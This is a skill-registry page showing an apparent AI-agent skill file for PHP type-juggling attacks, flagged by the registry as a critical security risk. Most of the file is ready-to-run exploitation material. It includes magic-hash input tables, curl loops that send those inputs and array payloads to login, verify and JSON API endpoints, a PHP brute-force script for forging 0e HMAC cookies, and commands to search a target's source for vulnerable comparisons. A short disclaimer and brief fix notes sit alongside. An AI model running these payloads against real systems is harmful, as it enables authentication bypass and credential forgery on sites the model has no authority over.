CtrlK
BlogDocsLog inGet started
Tessl Logo

php-type-juggling

PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.

60

Quality

71%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md
SKILL.md
Quality
Evals
Security

PHP Type Juggling and Magic Hash Attacks

Authorized-use only. Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide.

PHP is a loosely typed language. When comparing values with == (loose) rather than === (strict), PHP coerces types — a string beginning with 0e followed only by digits is treated as scientific notation and equals 0. An attacker who controls one side of a comparison can force equality with predictable hash outputs ("magic hashes"), bypass HMAC checks, or exploit NULL returns from type errors.

Affects PHP 5.x–7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain.

ATT&CK Mapping

TechniqueNotes
T1190Exploit public-facing application — auth bypass via comparison flaw
T1606.001Forge web credentials — force authentication with crafted hash values

1. Loose Comparison Cheat Sheet

'0010e2'  == '1e3'      → true   (both evaluate as float 1000)
'123'     == 123        → true   (string cast to int)
'123abc'  == 123        → true   (leading numeric string)
'abc'     == 0          → true   (non-numeric string == 0 in PHP 5/7)
''        == 0          → true
0         == false      → true
false     == NULL       → true
NULL      == ''         → true
md5([])   == NULL       → true   (NULL == any string starting with 0e)
sha1([])  == NULL       → true

PHP 8.0 change: 'abc' == 0 now evaluates to false. Check target PHP version before assuming string-zero bypass.

2. Magic Hashes — 0e Collisions

When a hash output starts with 0e followed only by digits, PHP's == comparison treats it as float 0. Two such hashes are "equal" under == regardless of their actual values.

MD5 Magic Strings

InputMD5 Hash
2406107080e462097431906509019562988736854
QNKCDZO0e830400451993494058024219903391
0e11371269050e291659922323405260514745084877
0e2159620170e291242476940776845150308577824
aabg7XSs0e087386482136013740957780965295

SHA-1 Magic Strings

InputSHA-1 Hash
109324351120e07766915004133176347055865026311692244
aaroZmOk0e66507019969427134894567494305185566735
aaK1STfY0e76658526655756207688271159624026011393

SHA-224 / SHA-256 Magic Strings

HashInputOutput
SHA-224108851647937730e281250946775200129471613219196999537878926740638594636
SHA-256342500030248120e46289032038065916139621039085883773413820991920706299695051332
SHA-256TyNOQHUS0e66298694359207596086558843543959518835691168370379069085300385

Exploitation

# Login bypass — submit a magic hash input instead of the real password
# Server code: if (md5($input) == $stored_hash) { login() }
# If $stored_hash is also a 0e... hash, any 0e... input collides.

# Try magic inputs against a login endpoint
for magic in "240610708" "QNKCDZO" "0e1137126905" "aabg7XSs"; do
  echo -n "Trying $magic: "
  curl -si "https://target.example.com/login" \
    -d "username=admin&password=${magic}" \
    | grep -E "Location:|Set-Cookie:|Welcome|dashboard" | head -2
done

3. NULL Bypass via Array Input

md5([]) and sha1([]) in PHP 5/7 return NULL with a warning. Under loose comparison, NULL == '' is true. If the server compares md5($input) == '' or similar:

# Send array input to hash functions — triggers NULL return
curl -si "https://target.example.com/login" \
  -d "username=admin&password[]=" \
  | grep -E "Location:|Set-Cookie:|error"

# POST with array notation
curl -si "https://target.example.com/verify" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "hash[]=&user=admin" \
  | grep -i "success\|error\|redirect"

4. strcmp() Return Value Bypass

strcmp() returns 0 (equal) on success, non-zero otherwise. Under loose comparison, strcmp($input, $secret) == 0 can be bypassed by passing an array (returns NULL, and NULL == 0 is true in PHP 5/7):

# Bypass strcmp-based password check
# Server: if (strcmp($_POST['pass'], $secret) == 0) { ... }
curl -si "https://target.example.com/login" \
  -d "username=admin&pass[]=" \
  | grep -iE "success|welcome|redirect|Location"

5. HMAC Brute-Force for 0e Collision (Magic HMAC)

When a cookie HMAC is verified with loose comparison against "0", an attacker brute-forces an expiration timestamp until hash_hmac('md5', payload, key) produces a 0e... string — which equals "0" under ==.

This works when the key is empty or known (e.g., leaked via .env).

# PHP script to find a magic HMAC timestamp (empty key example)
# Run: php find_magic_hmac.php
cat > /tmp/find_magic_hmac.php << 'EOF'
<?php
$username = 'admin';
$key = '';  // replace with known key or empty string leak
for ($i = 1424869663; $i < 1835970773; $i++) {
    $out = hash_hmac('md5', $username . '|' . $i, $key);
    if (str_starts_with($out, '0e') && ctype_digit(substr($out, 2))) {
        echo "Found: expiration=$i hash=$out\n";
        break;
    }
}
EOF
php /tmp/find_magic_hmac.php

# Then craft the cookie with hmac=0 and the found expiration
# cookie: username=admin; expiration=<found>; hmac=0

6. Type Juggling in JSON APIs

JSON deserialization can also introduce juggling issues when PHP converts JSON types to PHP types before comparison:

# Send integer 0 instead of string "false"/"no"
curl -si "https://target.example.com/api/verify" \
  -H "Content-Type: application/json" \
  -d '{"token": 0, "user": "admin"}' \
  | grep -iE "success|error|200"

# Send true to bypass boolean checks
curl -si "https://target.example.com/api/verify" \
  -H "Content-Type: application/json" \
  -d '{"admin": true, "role": "admin"}' \
  | grep -iE "success|error|200"

7. Identify Vulnerable PHP Code Patterns

# Grep the target's source (if accessible — e.g., leaked backup, open source app)
grep -rn '==[[:space:]]*\(md5\|sha1\|hash\|strcmp\|password_verify\)' /var/www/html/ 2>/dev/null
grep -rn 'if.*md5.*==\|if.*sha1.*==' /var/www/html/ 2>/dev/null
grep -rn 'strcmp.*==\s*0\|0\s*==.*strcmp' /var/www/html/ 2>/dev/null

# Look for PHP version to assess 0e / array bypass viability
curl -si "https://target.example.com/info.php" | grep -i "PHP Version"
curl -si "https://target.example.com/" | grep -i "x-powered-by"

8. Common Targets in the Wild

Application ClassLikely Sink
Custom PHP login formsmd5($pass) == $stored
Token validation endpointsstrcmp($token, $secret) == 0
HMAC cookie verifiershmac($cookie) != $supplied using ==
Email unsubscribe linksmd5($email) == $_GET['hash']
Admin PIN verificationsha1($pin) == $db_hash

Detection Notes

  • PHP 8.0+ resolves 'abc' == 0 → false and makes strcmp throw on array input; PHP 7 and below remain vulnerable
  • Static analysis: psalm --taint-analysis, phpstan level 8 flag loose comparisons
  • Dynamic: supply [] for hash/strcmp parameters, observe PHP warning in response or error logs
  • Fix: always use === for hash comparisons and hash_equals() for timing-safe HMAC checks

References

  • PayloadsAllTheThings: Type Juggling
  • OWASP: PHP Type Juggling
  • Magic Hashes — spaze/hashes
  • Super Magic Hashes — Almond Consulting
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.